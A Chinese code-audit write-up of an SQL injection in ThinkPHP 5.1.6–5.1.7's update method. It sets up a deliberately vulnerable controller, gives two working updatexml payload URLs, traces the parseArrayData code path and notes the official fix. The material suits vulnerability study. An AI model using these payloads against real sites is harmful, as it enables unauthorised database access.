ThinkPHP5.1.x SQL注入(update方法)

ThinkPHP5 SQL注入(update方法)

  • 漏洞概要
  • 初始配置
  • 漏洞利用
  • 漏洞分析
  • 漏洞修复
  • 攻击总结

漏洞概要

  • 本次漏洞存在于 Mysql 类的 parseArrayData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生
  • 漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)

初始配置

  • 获取测试环境代码
composer create-project --prefer-dist topthink/think=5.1  tpH3rmesk1t

ThinkPHP5.1.x SQL注入(update方法)_第1张图片

将 composer.json 文件的 require 字段设置成如下

"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.7"
}

然后执行 composer update

ThinkPHP5.1.x SQL注入(update方法)_第2张图片

  • 下载后的源码中,需要对application/index/controller/Index.php内容进行修改

namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->where(['id' => 1])->update(['username' => $username]);
        return '

:)Gyan师傅永远嘀神!!!

ThinkPHP V5.1
12载初心不改(2006-2018) - 你值得信赖的PHP框架

'
; } } ?>

config/database.php文件中配置数据库相关信息,并开启config/app.php中的app_debug和app_trace,创建数据库信息如下

create database thinkphp;
use thinkphp;
create table users(
	id int primary key auto_increment,
	username varchar(50) not null,
);
insert into users(id,username) values(1,'H3rmesk1t');

漏洞利用

Payload:

http://127.0.0.1/cms/public/index.php?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,database(),0x7e),1)^&username[3]=0 
或者
http://127.0.0.1/cms/public/index.php?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,database(),0x7e),1)|&username[3]=0 

ThinkPHP5.1.x SQL注入(update方法)_第3张图片

漏洞分析

先打断点,跟进一下payload,先接收变量

ThinkPHP5.1.x SQL注入(update方法)_第4张图片

跟进到thinkphp/helper.php中的db方法

ThinkPHP5.1.x SQL注入(update方法)_第5张图片

跟进到thinkphp/library/think/db/Query.phpwhere方法,接着进入update方法

ThinkPHP5.1.x SQL注入(update方法)_第6张图片
ThinkPHP5.1.x SQL注入(update方法)_第7张图片

进入到return里面,跟进到thinkphp/library/think/db/Connection.phpconnect类的update方法,找到生成update的SQL语句$sql = $this->builder->update($query);,跟进该语句看看干了什么

ThinkPHP5.1.x SQL注入(update方法)_第8张图片

跟进thinkphp/library/think/db/Builder.php中的update方法,在Builder类中的update方法里又调用了parseData方法

ThinkPHP5.1.x SQL注入(update方法)_第9张图片

跟进parseData方法,在该方法中的swich语句中的default 语句中存在一个parseArrayData方法,跟进去看看

ThinkPHP5.1.x SQL注入(update方法)_第10张图片

跟进thinkphp/library/think/db/builder/Mysql.php中的parseArrayData方法,这里如果数组$data第一个变量的小写是point的话就进入到后续的判断语句中;由于$data[2]$data[3]都不为空,所以就是传进来的值;if语句判断了一下$data[1]是不是数组,是的话就将一维数组的值连接为一个字符串;最后进入到拼接语句,拼接的形式为:$data[2]('$data[3]($data[1])');,参数均为可控参数

ThinkPHP5.1.x SQL注入(update方法)_第11张图片

用debug看看拼接后的值:updatexml(1,concat(0x7,database(),0x7e),1)^('0(1)'),成功造成SQL注入

ThinkPHP5.1.x SQL注入(update方法)_第12张图片

漏洞修复

参考官方修复方法,直接将 parseArrayData 方法删除

ThinkPHP5.1.x SQL注入(update方法)_第13张图片

攻击总结

参考Mochazz师傅的审计流程

ThinkPHP5.1.x SQL注入(update方法)_第14张图片

你可能感兴趣的:(#,ThinkPHP代码审计,thinkphp,php,代码审计,SQL注入)